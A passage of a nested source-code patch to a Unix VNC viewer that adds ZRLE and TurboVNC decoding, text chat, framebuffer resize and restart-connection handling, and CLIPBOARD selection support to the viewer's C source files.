-+ fprintf(stderr,"Rect too large: %dx%d at (%d, %d) encoding=%d\n",
-+ rect.r.w, rect.r.h, rect.r.x, rect.r.y, (int) rect.encoding);
-+ return False;
-+ }
-+ }
-+
-+ if (rect.r.h * rect.r.w == 0) {
-+ fprintf(stderr,"*** Warning *** Zero size rect: %dx%d+%d+%d encoding=%d\n",
-+ rect.r.w, rect.r.h, rect.r.x, rect.r.y, (int) rect.encoding);
-+ if (0) continue;
-+ }
-+
-+ /* If RichCursor encoding is used, we should prevent collisions
-+ between framebuffer updates and cursor drawing operations. */
-+ if (db) fprintf(stderr, "FBU-SCL1 %.6f\n", dnow());
-+
-+ SoftCursorLockArea(rect.r.x, rect.r.y, rect.r.w, rect.r.h);
-+
-+ if (db) fprintf(stderr, "FBU-SCL2 %.6f\n", dnow());
-+
-+
-+ switch (rect.encoding) {
-+
-+ case rfbEncodingRaw:
-+
-+ bytesPerLine = rect.r.w * myFormat.bitsPerPixel / 8;
-+ linesToRead = BUFFER_SIZE / bytesPerLine;
-+
-+ if (db) fprintf(stderr, "Raw: %dx%d+%d+%d\n", rect.r.w, rect.r.h, rect.r.x, rect.r.y);
-+ area_raw += rect.r.w * rect.r.h;
-+
-+ while (rect.r.h > 0) {
-+ if (linesToRead > rect.r.h) {
-+ linesToRead = rect.r.h;
-+ }
-+
-+ if (!ReadFromRFBServer(buffer,bytesPerLine * linesToRead)) {
-+ return False;
-+ }
-+
-+ CopyDataToScreen(buffer, rect.r.x, rect.r.y, rect.r.w, linesToRead);
-+
-+ rect.r.h -= linesToRead;
-+ rect.r.y += linesToRead;
-+ }
-+ break;
-+
-+ case rfbEncodingCopyRect:
-+ {
-+ rfbCopyRect cr;
-+
-+ STOP_DELAY_SYNC
-+ XSync(dpy, False);
-+
-+ if (!ReadFromRFBServer((char *)&cr, sz_rfbCopyRect)) {
-+ return False;
-+ }
-+ if (appData.chatOnly) {
-+ break;
-+ }
-+
-+ cr.srcX = Swap16IfLE(cr.srcX);
-+ cr.srcY = Swap16IfLE(cr.srcY);
-+
-+ if (db) fprintf(stderr, "Copy: %dx%d+%d+%d\n", rect.r.w, rect.r.h, rect.r.x, rect.r.y);
-+ area_copyrect += rect.r.w * rect.r.h;
-+
-+ /* If RichCursor encoding is used, we should extend our
-+ "cursor lock area" (previously set to destination
-+ rectangle) to the source rectangle as well. */
-+
-+ if (db) fprintf(stderr, "FBU-SCL3 %.6f\n", dnow());
-+
-+ SoftCursorLockArea(cr.srcX, cr.srcY, rect.r.w, rect.r.h);
-+
-+ if (db) fprintf(stderr, "FBU-SCL4 %.6f\n", dnow());
-+
-+ if (appData.copyRectDelay != 0) {
-+ XFillRectangle(dpy, desktopWin, srcGC, cr.srcX, cr.srcY, rect.r.w, rect.r.h);
-+ XFillRectangle(dpy, desktopWin, dstGC, rect.r.x, rect.r.y, rect.r.w, rect.r.h);
-+ XSync(dpy,False);
-+ usleep(appData.copyRectDelay * 1000);
-+ XFillRectangle(dpy, desktopWin, dstGC, rect.r.x, rect.r.y, rect.r.w, rect.r.h);
-+ XFillRectangle(dpy, desktopWin, srcGC, cr.srcX, cr.srcY, rect.r.w, rect.r.h);
-+ }
-+
-+ if (db) fprintf(stderr, "FBU-CPA1 %.6f\n", dnow());
-+ if (!appData.useXserverBackingStore) {
-+ copy_rect(rect.r.x, rect.r.y, rect.r.w, rect.r.h, cr.srcX, cr.srcY);
-+ put_image(rect.r.x, rect.r.y, rect.r.x, rect.r.y, rect.r.w, rect.r.h, 0);
-+ XSync(dpy, False);
-+ } else {
-+ XCopyArea(dpy, desktopWin, desktopWin, gc, cr.srcX, cr.srcY,
-+ rect.r.w, rect.r.h, rect.r.x, rect.r.y);
-+ }
-+ if (db) fprintf(stderr, "FBU-CPA2 %.6f\n", dnow());
-+
-+ break;
-+ }
-+
-+ case rfbEncodingRRE:
-+ {
-+ switch (myFormat.bitsPerPixel) {
-+ case 8:
-+ if (!HandleRRE8(rect.r.x,rect.r.y,rect.r.w,rect.r.h)) {
-+ return False;
-+ }
-+ break;
-+ case 16:
-+ if (!HandleRRE16(rect.r.x,rect.r.y,rect.r.w,rect.r.h)) {
-+ return False;
-+ }
-+ break;
-+ case 32:
-+ if (!HandleRRE32(rect.r.x,rect.r.y,rect.r.w,rect.r.h)) {
-+ return False;
-+ }
-+ break;
-+ }
-+ break;
-+ }
-+
-+ case rfbEncodingCoRRE:
-+ {
-+ switch (myFormat.bitsPerPixel) {
-+ case 8:
-+ if (!HandleCoRRE8(rect.r.x,rect.r.y,rect.r.w,rect.r.h)) {
-+ return False;
-+ }
-+ break;
-+ case 16:
-+ if (!HandleCoRRE16(rect.r.x,rect.r.y,rect.r.w,rect.r.h)) {
-+ return False;
-+ }
-+ break;
-+ case 32:
-+ if (!HandleCoRRE32(rect.r.x,rect.r.y,rect.r.w,rect.r.h)) {
-+ return False;
-+ }
-+ break;
-+ }
-+ break;
-+ }
-+
-+ case rfbEncodingHextile:
-+ {
-+ switch (myFormat.bitsPerPixel) {
-+ case 8:
-+ if (!HandleHextile8(rect.r.x,rect.r.y,rect.r.w,rect.r.h)) {
-+ return False;
-+ }
-+ break;
-+ case 16:
-+ if (!HandleHextile16(rect.r.x,rect.r.y,rect.r.w,rect.r.h)) {
-+ return False;
-+ }
-+ break;
-+ case 32:
-+ if (!HandleHextile32(rect.r.x,rect.r.y,rect.r.w,rect.r.h)) {
-+ return False;
-+ }
-+ break;
-+ }
-+ break;
-+ }
-+
-+ case rfbEncodingZlib:
-+ {
-+ switch (myFormat.bitsPerPixel) {
-+ case 8:
-+ if (!HandleZlib8(rect.r.x,rect.r.y,rect.r.w,rect.r.h)) {
-+ return False;
-+ }
-+ break;
-+ case 16:
-+ if (!HandleZlib16(rect.r.x,rect.r.y,rect.r.w,rect.r.h)) {
-+ return False;
-+ }
-+ break;
-+ case 32:
-+ if (!HandleZlib32(rect.r.x,rect.r.y,rect.r.w,rect.r.h)) {
-+ return False;
-+ }
-+ break;
-+ }
-+ break;
-+ }
-+
-+ case rfbEncodingTight:
-+ {
-+ if (db) fprintf(stderr, "Tight: %dx%d+%d+%d\n", rect.r.w, rect.r.h, rect.r.x, rect.r.y);
-+ area_tight += rect.r.w * rect.r.h;
-+ if (db) fprintf(stderr, "FBU-TGH1 %.6f\n", dnow());
-+
-+ switch (myFormat.bitsPerPixel) {
-+ case 8:
-+ if (!HandleTight8(rect.r.x,rect.r.y,rect.r.w,rect.r.h)) {
-+ return False;
-+ }
-+ break;
-+ case 16:
-+ if (!HandleTight16(rect.r.x,rect.r.y,rect.r.w,rect.r.h)) {
-+ return False;
-+ }
-+ break;
-+ case 32:
-+ if (!HandleTight32(rect.r.x,rect.r.y,rect.r.w,rect.r.h)) {
-+ return False;
-+ }
-+ break;
-+ }
-+ if (db) fprintf(stderr, "FBU-TGH2 %.6f\n", dnow());
-+ break;
-+ }
-+
-+ /* runge adds zrle and zywrle: */
-+ case rfbEncodingZRLE:
-+#if DO_ZYWRLE
-+ zywrle_level = 0;
-+ case rfbEncodingZYWRLE:
-+#endif
-+ {
-+ if (db) fprintf(stderr, "ZRLE: %dx%d+%d+%d\n", rect.r.w, rect.r.h, rect.r.x, rect.r.y);
-+ area_zrle += rect.r.w * rect.r.h;
-+ switch (myFormat.bitsPerPixel) {
-+ case 8:
-+ if (!HandleZRLE8(rect.r.x,rect.r.y,rect.r.w,rect.r.h)) {
-+ return False;
-+ }
-+ break;
-+ case 16:
-+ if (myFormat.greenMax > 0x1f) {
-+ if (!HandleZRLE16(rect.r.x,rect.r.y,rect.r.w,rect.r.h)) {
-+ return False;
-+ }
-+ } else {
-+ if (!HandleZRLE15(rect.r.x,rect.r.y,rect.r.w,rect.r.h)) {
-+ return False;
-+ }
-+ }
-+ break;
-+ case 32:
-+ {
-+ unsigned int maxColor=(myFormat.redMax<<myFormat.redShift)|
-+ (myFormat.greenMax<<myFormat.greenShift)|
-+ (myFormat.blueMax<<myFormat.blueShift);
-+ static int ZRLE32 = -1;
-+
-+ if (ZRLE32 < 0) {
-+ /* for debugging or workaround e.g. BE display to LE */
-+ if (getenv("ZRLE32")) {
-+ if (strstr(getenv("ZRLE32"), "24Up")) {
-+ ZRLE32 = 3;
-+ } else if (strstr(getenv("ZRLE32"), "24Down")) {
-+ ZRLE32 = 2;
-+ } else {
-+ ZRLE32 = 1;
-+ }
-+ } else {
-+ ZRLE32 = 0;
-+ }
-+ }
-+
-+if (db) fprintf(stderr, "maxColor: 0x%x mfbigEnding: %d\n", maxColor, myFormat.bigEndian);
-+
-+ if (ZRLE32 == 1) {
-+if (db) fprintf(stderr, "HandleZRLE32\n");
-+ if (!HandleZRLE32(rect.r.x,rect.r.y,rect.r.w,rect.r.h)) {
-+ return False;
-+ }
-+ } else if (ZRLE32 == 2) {
-+if (db) fprintf(stderr, "HandleZRLE24Down\n");
-+ if (!HandleZRLE24Down(rect.r.x,rect.r.y,rect.r.w,rect.r.h)) {
-+ return False;
-+ }
-+ } else if (ZRLE32 == 3) {
-+if (db) fprintf(stderr, "HandleZRLE24Up\n");
-+ if (!HandleZRLE24Up(rect.r.x,rect.r.y,rect.r.w,rect.r.h)) {
-+ return False;
-+ }
-+ } else if ((myFormat.bigEndian && (maxColor&0xff)==0) || (!myFormat.bigEndian && (maxColor&0xff000000)==0)) {
-+if (db) fprintf(stderr, "HandleZRLE24\n");
-+ if (!HandleZRLE24(rect.r.x,rect.r.y,rect.r.w,rect.r.h)) {
-+ return False;
-+ }
-+ } else if (!myFormat.bigEndian && (maxColor&0xff)==0) {
-+if (db) fprintf(stderr, "HandleZRLE24Up\n");
-+ if (!HandleZRLE24Up(rect.r.x,rect.r.y,rect.r.w,rect.r.h)) {
-+ return False;
-+ }
-+ } else if (myFormat.bigEndian && (maxColor&0xff000000)==0) {
-+if (db) fprintf(stderr, "HandleZRLE24Down\n");
-+ if (!HandleZRLE24Down(rect.r.x,rect.r.y,rect.r.w,rect.r.h)) {
-+ return False;
-+ }
-+ } else if (!HandleZRLE32(rect.r.x,rect.r.y,rect.r.w,rect.r.h)) {
-+ return False;
-+ }
-+ break;
-+ }
-+ }
-+ break;
-+ }
-+
-+ default:
-+ fprintf(stderr,"Unknown rect encoding %d\n", (int)rect.encoding);
-+ return False;
-+ }
-
-- /* Now we may discard "soft cursor locks". */
-- SoftCursorUnlockScreen();
-- }
-+ /* Now we may discard "soft cursor locks". */
-+ if (db) fprintf(stderr, "FBU-SUL1 %.6f\n", dnow());
-+
-+ SoftCursorUnlockScreen();
-+
-+ if (db) fprintf(stderr, "FBU-SUL2 %.6f\n", dnow());
-+ }
-+
-+ if (try_delay_sync) {
-+ skip_maybe_sync = 0;
-+ }
-+
-+ if (1 || area_copyrect) {
-+ /* we always do this now for some reason... */
-+ if (db) fprintf(stderr, "FBU-XSN1 %.6f\n", dnow());
-+ XSync(dpy, False);
-+ if (db) fprintf(stderr, "FBU-XSN2 %.6f\n", dnow());
-+ }
-+ sent_FBU = 0;
-+ /*
-+ * we need to be careful since Xt events are processed
-+ * usually in the middle of FBU. So we do any scheduled ones now
-+ * which is pretty safe but not absolutely safe.
-+ */
-+ if (do_format_change) {
-+ cutover_format_change();
-+ do_format_change = 0;
-+ SetVisualAndCmap();
-+ SetFormatAndEncodings();
-+ if (do_cursor_change) {
-+ if (do_cursor_change == 1) {
-+ DesktopCursorOff();
-+ }
-+ do_cursor_change = 0;
-+ } else {
-+ SendFramebufferUpdateRequest(0, 0, si.framebufferWidth,
-+ si.framebufferHeight, False);
-+ skip_incFBU = 1;
-+ }
-+ }
-+ if (do_fb_update != 0.0) {
-+ if (dnow() > do_fb_update + 1.1) {
-+ do_fb_update = 0.0;
-+ SendFramebufferUpdateRequest(0, 0, si.framebufferWidth,
-+ si.framebufferHeight, False);
-+ }
-+ }
-
- #ifdef MITSHM
- /* if using shared memory PutImage, make sure that the X server has
-@@ -1224,59 +3320,168 @@
- mainly to avoid copyrect using invalid screen contents - not sure
- if we'd need it otherwise. */
-
-- if (appData.useShm)
-- XSync(dpy, False);
-+ if (appData.useShm) {
-+ XSync(dpy, False);
-+ } else
- #endif
-+ {
-+ /* we do it always now. */
-+ XSync(dpy, False);
-+ }
-+
-+ if (skip_XtUpdate || skip_incFBU) {
-+ ;
-+ } else if (appData.pipelineUpdates) {
-+ ;
-+ } else if (!SendIncrementalFramebufferUpdateRequest()) {
-+ return False;
-+ }
-
-- if (!SendIncrementalFramebufferUpdateRequest())
-- return False;
--
-- break;
-+ break;
- }
-
- case rfbBell:
- {
-- Window toplevelWin;
-+ Window toplevelWin;
-
-- XBell(dpy, 0);
-+ if (appData.useBell) {
-+ XBell(dpy, 0);
-+ }
-+
-+ if (appData.raiseOnBeep) {
-+ toplevelWin = XtWindow(toplevel);
-+ XMapRaised(dpy, toplevelWin);
-+ }
-
-- if (appData.raiseOnBeep) {
-- toplevelWin = XtWindow(toplevel);
-- XMapRaised(dpy, toplevelWin);
-+ break;
- }
-
-- break;
-- }
-+ case rfbServerCutText:
-+ {
-+ if (!ReadFromRFBServer(((char *)&msg) + 1, sz_rfbServerCutTextMsg - 1)) {
-+ return False;
-+ }
-
-- case rfbServerCutText:
-- {
-- if (!ReadFromRFBServer(((char *)&msg) + 1,
-- sz_rfbServerCutTextMsg - 1))
-- return False;
-+ msg.sct.length = Swap32IfLE(msg.sct.length);
-
-- msg.sct.length = Swap32IfLE(msg.sct.length);
-+ if (serverCutText) {
-+ free(serverCutText);
-+ }
-
-- if (serverCutText)
-- free(serverCutText);
-+ serverCutText = malloc(msg.sct.length+1);
-
-- serverCutText = malloc(msg.sct.length+1);
-+ if (!ReadFromRFBServer(serverCutText, msg.sct.length)) {
-+ return False;
-+ }
-
-- if (!ReadFromRFBServer(serverCutText, msg.sct.length))
-- return False;
-+ serverCutText[msg.sct.length] = 0;
-
-- serverCutText[msg.sct.length] = 0;
-+ newServerCutText = True;
-
-- newServerCutText = True;
-+ break;
-+ }
-
-- break;
-- }
-+ case rfbTextChat:
-+ {
-+ char *buffer = NULL;
-+ if (!ReadFromRFBServer(((char *)&msg) + 1, sz_rfbTextChatMsg - 1)) {
-+ return False;
-+ }
-+ msg.tc.length = Swap32IfLE(msg.tc.length);
-+ switch(msg.tc.length) {
-+ case rfbTextChatOpen:
-+ if (appData.termChat) {
-+ printChat("\n*ChatOpen*\n\nSend: ", True);
-+ } else {
-+ printChat("\n*ChatOpen*\n", True);
-+ }
-+ appData.chatActive = True;
-+ break;
-+ case rfbTextChatClose:
-+ printChat("\n*ChatClose*\n", False);
-+ appData.chatActive = False;
-+ break;
-+ case rfbTextChatFinished:
-+ printChat("\n*ChatFinished*\n", False);
-+ appData.chatActive = False;
-+ break;
-+ default:
-+ buffer = (char *)malloc(msg.tc.length+1);
-+ if (!ReadFromRFBServer(buffer, msg.tc.length)) {
-+ free(buffer);
-+ return False;
-+ }
-+ buffer[msg.tc.length] = '\0';
-+ appData.chatActive = True;
-+ GotChatText(buffer, msg.tc.length);
-+ free(buffer);
-+ }
-+ break;
-+ }
-
-- default:
-- fprintf(stderr,"Unknown message type %d from VNC server\n",msg.type);
-- return False;
-- }
-+ case rfbResizeFrameBuffer:
-+ {
-+ rfbResizeFrameBufferMsg rsmsg;
-+ if (!ReadFromRFBServer(((char *)&rsmsg) + 1, sz_rfbResizeFrameBufferMsg - 1)) {
-+ return False;
-+ }
-+ si.framebufferWidth = Swap16IfLE(rsmsg.framebufferWidth);
-+ si.framebufferHeight = Swap16IfLE(rsmsg.framebufferHeight);
-+ fprintf(stderr,"UltraVNC ReSize: %dx%d\n", si.framebufferWidth, si.framebufferHeight);
-+ ReDoDesktop();
-+ break;
-+ }
-
-- return True;
-+ case rfbRestartConnection:
-+ {
-+ rfbRestartConnectionMsg rc;
-+ int len;
-+ char *rs_str;
-+ char buf[5] = "\xff\xff\xff\xff";
-+ fprintf(stderr, "rfbRestartConnection. type=%d\n", (int) rc.type);
-+ if (!ReadFromRFBServer((char *)&rc + 1, sz_rfbRestartConnectionMsg - 1)) {
-+ return False;
-+ }
-+ len = Swap32IfLE(rc.length);
-+ fprintf(stderr, "rfbRestartConnection. pad1=%d\n", (int) rc.pad1);
-+ fprintf(stderr, "rfbRestartConnection. pad2=%d\n", (int) rc.pad2);
-+ fprintf(stderr, "rfbRestartConnection. len=%d\n", len);
-+ if (len) {
-+ rs_str = (char *)malloc(2*len);
-+ if (!ReadFromRFBServer(rs_str, len)) {
-+ return False;
-+ }
-+ restart_session_pw = rs_str;
-+ restart_session_len = len;
-+ }
-+ if (!WriteExact(rfbsock, buf, 4)) {
-+ return False;
-+ }
-+ InitialiseRFBConnection();
-+ SetVisualAndCmap();
-+ SetFormatAndEncodings();
-+ DesktopCursorOff();
-+ SendFramebufferUpdateRequest(0, 0, si.framebufferWidth, si.framebufferHeight, False);
-+
-+ break;
-+ }
-+
-+ default:
-+ fprintf(stderr,"Unknown message type %d from VNC server\n",msg.type);
-+ return False;
-+ }
-+
-+ if (appData.fileActive) {
-+ if (filexfer_sock < 0 && filexfer_listen < 0) {
-+ appData.fileActive = False;
-+ SendFramebufferUpdateRequest(0, 0, 1, 1, False);
-+ } else {
-+/*fprintf(stderr, "CFX: A\n"); */
-+ CheckFileXfer();
-+ }
-+ }
-+
-+ return True;
- }
-
-
-@@ -1296,26 +3501,93 @@
- #define CONCAT2(a,b) a##b
- #define CONCAT2E(a,b) CONCAT2(a,b)
-
-+#define CONCAT3(a,b,c) a##b##c
-+#define CONCAT3E(a,b,c) CONCAT3(a,b,c)
-+
-+static unsigned char* frameBuffer = NULL;
-+static int frameBufferLen = 0;
-+
-+#ifdef TURBOVNC
-+#include "turbovnc/turbojpeg.h"
-+tjhandle tjhnd=NULL;
-+static char *compressedData = NULL;
-+static char *uncompressedData = NULL;
-+#define CopyDataToImage CopyDataToScreen
-+static void turbovnc_FillRectangle(XGCValues *gcv, int rx, int ry, int rw, int rh) {
-+ if (!appData.useXserverBackingStore) {
-+ FillScreen(rx, ry, rw, rh, gcv->foreground);
-+ } else {
-+ XChangeGC(dpy, gc, GCForeground, gcv);
-+ XFillRectangle(dpy, desktopWin, gc, rx, ry, rw, rh);
-+ }
-+}
-+static void CopyImageToScreen(int x, int y, int w, int h) {
-+ put_image(x, y, x, y, w, h, 0);
-+}
-+#endif
-+
- #define BPP 8
- #include "rre.c"
- #include "corre.c"
- #include "hextile.c"
- #include "zlib.c"
-+
-+#ifdef TURBOVNC
-+#undef FillRectangle
-+#define FillRectangle turbovnc_FillRectangle
-+#include "turbovnc/tight.c"
-+#undef FillRectangle
-+#else
- #include "tight.c"
-+#endif
-+
-+#include "zrle.c"
- #undef BPP
-+
- #define BPP 16
- #include "rre.c"
- #include "corre.c"
- #include "hextile.c"
- #include "zlib.c"
-+
-+#ifdef TURBOVNC
-+#undef FillRectangle
-+#define FillRectangle turbovnc_FillRectangle
-+#include "turbovnc/tight.c"
-+#undef FillRectangle
-+#else
- #include "tight.c"
-+#endif
-+
-+#include "zrle.c"
-+#define REALBPP 15
-+#include "zrle.c"
- #undef BPP
-+
- #define BPP 32
- #include "rre.c"
- #include "corre.c"
- #include "hextile.c"
- #include "zlib.c"
-+
-+#ifdef TURBOVNC
-+#undef FillRectangle
-+#define FillRectangle turbovnc_FillRectangle
-+#include "turbovnc/tight.c"
-+#undef FillRectangle
-+#else
- #include "tight.c"
-+#endif
-+
-+#include "zrle.c"
-+#define REALBPP 24
-+#include "zrle.c"
-+#define REALBPP 24
-+#define UNCOMP 8
-+#include "zrle.c"
-+#define REALBPP 24
-+#define UNCOMP -8
-+#include "zrle.c"
- #undef BPP
-
- /*
-@@ -1325,23 +3597,27 @@
- static void
- ReadConnFailedReason(void)
- {
-- CARD32 reasonLen;
-- char *reason = NULL;
-+ CARD32 reasonLen;
-+ char *reason = NULL;
-
-- if (ReadFromRFBServer((char *)&reasonLen, sizeof(reasonLen))) {
-- reasonLen = Swap32IfLE(reasonLen);
-- if ((reason = malloc(reasonLen)) != NULL &&
-- ReadFromRFBServer(reason, reasonLen)) {
-- fprintf(stderr,"VNC connection failed: %.*s\n", (int)reasonLen, reason);
-- free(reason);
-- return;
-- }
-- }
-+ if (ReadFromRFBServer((char *)&reasonLen, sizeof(reasonLen))) {
-+ reasonLen = Swap32IfLE(reasonLen);
-+ if ((reason = malloc(reasonLen)) != NULL &&
-+ ReadFromRFBServer(reason, reasonLen)) {
-+ int len = (int) reasonLen < sizeof(msgbuf) - 10 ? (int) reasonLen : sizeof(msgbuf) - 10;
-+ sprintf(msgbuf,"VNC connection failed: %.*s\n", len, reason);
-+ wmsg(msgbuf, 1);
-+ free(reason);
-+ return;
-+ }
-+ }
-
-- fprintf(stderr, "VNC connection failed\n");
-+ sprintf(msgbuf, "VNC connection failed\n");
-+ wmsg(msgbuf, 1);
-
-- if (reason != NULL)
-- free(reason);
-+ if (reason != NULL) {
-+ free(reason);
-+ }
- }
-
- /*
-@@ -1358,9 +3634,9 @@
- " %s significant bit in each byte is leftmost on the screen.\n",
- (format->bigEndian ? "Most" : "Least"));
- } else {
-- fprintf(stderr," %d bits per pixel.\n",format->bitsPerPixel);
-+ fprintf(stderr," %d bits per pixel. ",format->bitsPerPixel);
- if (format->bitsPerPixel != 8) {
-- fprintf(stderr," %s significant byte first in each pixel.\n",
-+ fprintf(stderr,"%s significant byte first in each pixel.\n",
- (format->bigEndian ? "Most" : "Least"));
- }
- if (format->trueColour) {
-@@ -1462,4 +3738,3 @@
-
- cinfo->src = &jpegSrcManager;
- }
--
-diff -Naur -X ./exclude vnc_unixsrc.orig/vncviewer/rre.c vnc_unixsrc/vncviewer/rre.c
---- vnc_unixsrc.orig/vncviewer/rre.c 2000-06-11 08:00:53.000000000 -0400
-+++ vnc_unixsrc/vncviewer/rre.c 2008-10-05 15:16:30.000000000 -0400
-@@ -29,6 +29,18 @@
- #define HandleRREBPP CONCAT2E(HandleRRE,BPP)
- #define CARDBPP CONCAT2E(CARD,BPP)
-
-+#define FillRectangle(x, y, w, h, color) \
-+ { \
-+ XGCValues _gcv; \
-+ _gcv.foreground = color; \
-+ if (!appData.useXserverBackingStore) { \
-+ FillScreen(x, y, w, h, _gcv.foreground); \
-+ } else { \
-+ XChangeGC(dpy, gc, GCForeground, &_gcv); \
-+ XFillRectangle(dpy, desktopWin, gc, x, y, w, h); \
-+ } \
-+ }
-+
- static Bool
- HandleRREBPP (int rx, int ry, int rw, int rh)
- {
-@@ -49,11 +61,19 @@
- #if (BPP == 8)
- gcv.foreground = (appData.useBGR233 ? BGR233ToPixel[pix] : pix);
- #else
-+#if (BPP == 16)
-+ gcv.foreground = (appData.useBGR565 ? BGR565ToPixel[pix] : pix);
-+#else
- gcv.foreground = pix;
- #endif
-+#endif
-
-+#if 0
- XChangeGC(dpy, gc, GCForeground, &gcv);
- XFillRectangle(dpy, desktopWin, gc, rx, ry, rw, rh);
-+#else
-+ FillRectangle(rx, ry, rw, rh, gcv.foreground);
-+#endif
-
- for (i = 0; i < hdr.nSubrects; i++) {
- if (!ReadFromRFBServer((char *)&pix, sizeof(pix)))
-@@ -70,13 +90,23 @@
- #if (BPP == 8)
- gcv.foreground = (appData.useBGR233 ? BGR233ToPixel[pix] : pix);
- #else
-+#if (BPP == 16)
-+ gcv.foreground = (appData.useBGR565 ? BGR565ToPixel[pix] : pix);
-+#else
- gcv.foreground = pix;
- #endif
-+#endif
-
-+#if 0
- XChangeGC(dpy, gc, GCForeground, &gcv);
- XFillRectangle(dpy, desktopWin, gc, rx + subrect.x, ry + subrect.y,
- subrect.w, subrect.h);
-+#else
-+ FillRectangle(rx + subrect.x, ry + subrect.y, subrect.w, subrect.h, gcv.foreground);
-+#endif
- }
-
- return True;
- }
-+
-+#undef FillRectangle
-diff -Naur -X ./exclude vnc_unixsrc.orig/vncviewer/selection.c vnc_unixsrc/vncviewer/selection.c
---- vnc_unixsrc.orig/vncviewer/selection.c 2004-03-03 04:11:52.000000000 -0500
-+++ vnc_unixsrc/vncviewer/selection.c 2010-02-25 23:28:48.000000000 -0500
-@@ -43,13 +43,16 @@
- unsigned long* length, int* format);
- static void LoseSelection(Widget w, Atom *selection);
-
--static Bool iAmSelectionOwner = False;
-+static Bool PrimarySelectionOwner = False;
-+static Bool ClipboardSelectionOwner = False;
- static Time prevSelectionTime = 0L;
- static Time cutBufferTime = 0L;
-
- #define TIME_LATER(a, b) ((a) != 0 && ((b) == 0 || (INT32)((a) - (b)) > 0))
-
-
-+static Atom clipboard_atom = None;
-+
- /*
- * InitialiseSelection() must be called after realizing widgets (because
- * otherwise XtGetSelectionValue() fails). We register events on the root
-@@ -62,22 +65,28 @@
- * available.
- */
-
--void
--InitialiseSelection()
--{
-+static int dbg_sel = -1;
-+
-+void InitialiseSelection() {
- #if XtSpecificationRelease >= 6
-- XtRegisterDrawable(dpy, DefaultRootWindow(dpy), toplevel);
-+ XtRegisterDrawable(dpy, DefaultRootWindow(dpy), toplevel);
- #else
-- _XtRegisterWindow(DefaultRootWindow(dpy), toplevel);
-+ _XtRegisterWindow(DefaultRootWindow(dpy), toplevel);
- #endif
-- XSelectInput(dpy, DefaultRootWindow(dpy), PropertyChangeMask);
-+ XSelectInput(dpy, DefaultRootWindow(dpy), PropertyChangeMask);
-
-- XtAddRawEventHandler(toplevel, PropertyChangeMask, False, CutBufferChange,
-- NULL);
-+ XtAddRawEventHandler(toplevel, PropertyChangeMask, False, CutBufferChange, NULL);
-
-- XtGetSelectionValue(toplevel, XA_PRIMARY,
-+ clipboard_atom = XInternAtom(dpy, "CLIPBOARD", False);
-+
-+ XtGetSelectionValue(toplevel, XA_PRIMARY,
- XInternAtom(dpy, "TIMESTAMP", False),
- GetInitialSelectionTimeCallback, NULL, CurrentTime);
-+
-+ if (dbg_sel < 0) {
-+ dbg_sel = 0;
-+ if (getenv("SSVNC_DEBUG_SELECTION")) dbg_sel = 1;
-+ }
- }
-
-
-@@ -93,13 +102,16 @@
- Atom* selection, Atom* type, XtPointer value,
- unsigned long* length, int* format)
- {
-- if (value && *format == 32 && *length == 1)
-- prevSelectionTime = *(CARD32 *)value;
-- else
-- prevSelectionTime = 0L;
--
-- if (value)
-- XtFree(value);
-+ if (value && *format == 32 && *length == 1) {
-+ prevSelectionTime = *(CARD32 *)value;
-+ } else {
-+ prevSelectionTime = 0L;
-+ }
-+
-+ if (value) {
-+ XtFree(value);
-+ }
-+ if (w || clientData || selection || type || value || length || format) {}
- }
-
-
-@@ -121,26 +133,30 @@
- void
- SelectionToVNC(Widget w, XEvent *event, String *params, Cardinal *num_params)
- {
-- Bool always = False;
-+ Bool always = appData.sendAlways;
-+ Atom sendsel = XA_PRIMARY;
-
-- if (*num_params != 0) {
-- if (strcmp(params[0],"always") == 0) {
-- always = True;
-- } else if (strcmp(params[0],"new") == 0) {
-- always = False;
-- } else {
-- fprintf(stderr,"Invalid params: SelectionToVNC(always|new)\n");
-- return;
-- }
-- }
--
-- if (always) {
-- XtGetSelectionValue(w, XA_PRIMARY, XA_STRING, GetSelectionCallback, NULL,
-- TimeFromEvent(event));
-- } else {
-- XtGetSelectionValue(w, XA_PRIMARY, XInternAtom(dpy, "TIMESTAMP", False),
-- GetSelectionTimeCallback, NULL, TimeFromEvent(event));
-- }
-+ if (*num_params != 0) {
-+ if (strcmp(params[0],"always") == 0) {
-+ always = True;
-+ } else if (strcmp(params[0],"new") == 0) {
-+ always = False;
-+ } else {
-+ fprintf(stderr,"Invalid params: SelectionToVNC(always|new)\n");
-+ return;
-+ }
-+ }
-+ if (appData.sendClipboard && clipboard_atom != None) {
-+ sendsel = clipboard_atom;
-+ }
-+ if (dbg_sel) fprintf(stderr, "SelectionToVNC %s\n", sendsel == XA_PRIMARY ? "PRIMARY" : "CLIPBOARD");
-+
-+ if (always) {
-+ XtGetSelectionValue(w, sendsel, XA_STRING, GetSelectionCallback, NULL, TimeFromEvent(event));
-+ } else {
-+ XtGetSelectionValue(w, sendsel, XInternAtom(dpy, "TIMESTAMP", False), GetSelectionTimeCallback, NULL, TimeFromEvent(event));
-+ }
-+ if (w || event || params || num_params) {}
- }
-
-
-@@ -158,10 +174,13 @@
- int len = *length;
- char *str = (char *)value;
-
-- if (str)
-- SendClientCutText(str, len);
-- else
-- SendCutBuffer();
-+ if (str) {
-+ if (dbg_sel) fprintf(stderr, "SendClientCutText len: %d\n", len);
-+ SendClientCutText(str, len);
-+ } else if (!getenv("VNCVIEWER_NO_CUTBUFFER")) {
-+ SendCutBuffer();
-+ }
-+ if (w || clientData || selection || type || value || length || format) {}
- }
-
-
-@@ -180,26 +199,24 @@
- Atom* type, XtPointer value, unsigned long* length,
- int* format)
- {
-- if (value && *format == 32 && *length == 1) {
-+ if (value && *format == 32 && *length == 1) {
-+ Time t = *(CARD32 *)value;
-
-- Time t = *(CARD32 *)value;
--
-- if (TIME_LATER(t, prevSelectionTime)) {
-- prevSelectionTime = t;
-- XtGetSelectionValue(w, XA_PRIMARY, XA_STRING, GetSelectionCallback, NULL,
-- CurrentTime);
-- }
--
-- } else {
--
-- if (TIME_LATER(cutBufferTime, prevSelectionTime)) {
-- prevSelectionTime = cutBufferTime;
-- SendCutBuffer();
-- }
-- }
--
-- if (value)
-- XtFree(value);
-+ if (TIME_LATER(t, prevSelectionTime)) {
-+ prevSelectionTime = t;
-+ XtGetSelectionValue(w, XA_PRIMARY, XA_STRING, GetSelectionCallback, NULL, CurrentTime);
-+ }
-+ } else if (!getenv("VNCVIEWER_NO_CUTBUFFER")) {
-+ if (TIME_LATER(cutBufferTime, prevSelectionTime)) {
-+ prevSelectionTime = cutBufferTime;
-+ SendCutBuffer();
-+ }
-+ }
-+
-+ if (value) {
-+ XtFree(value);
-+ }
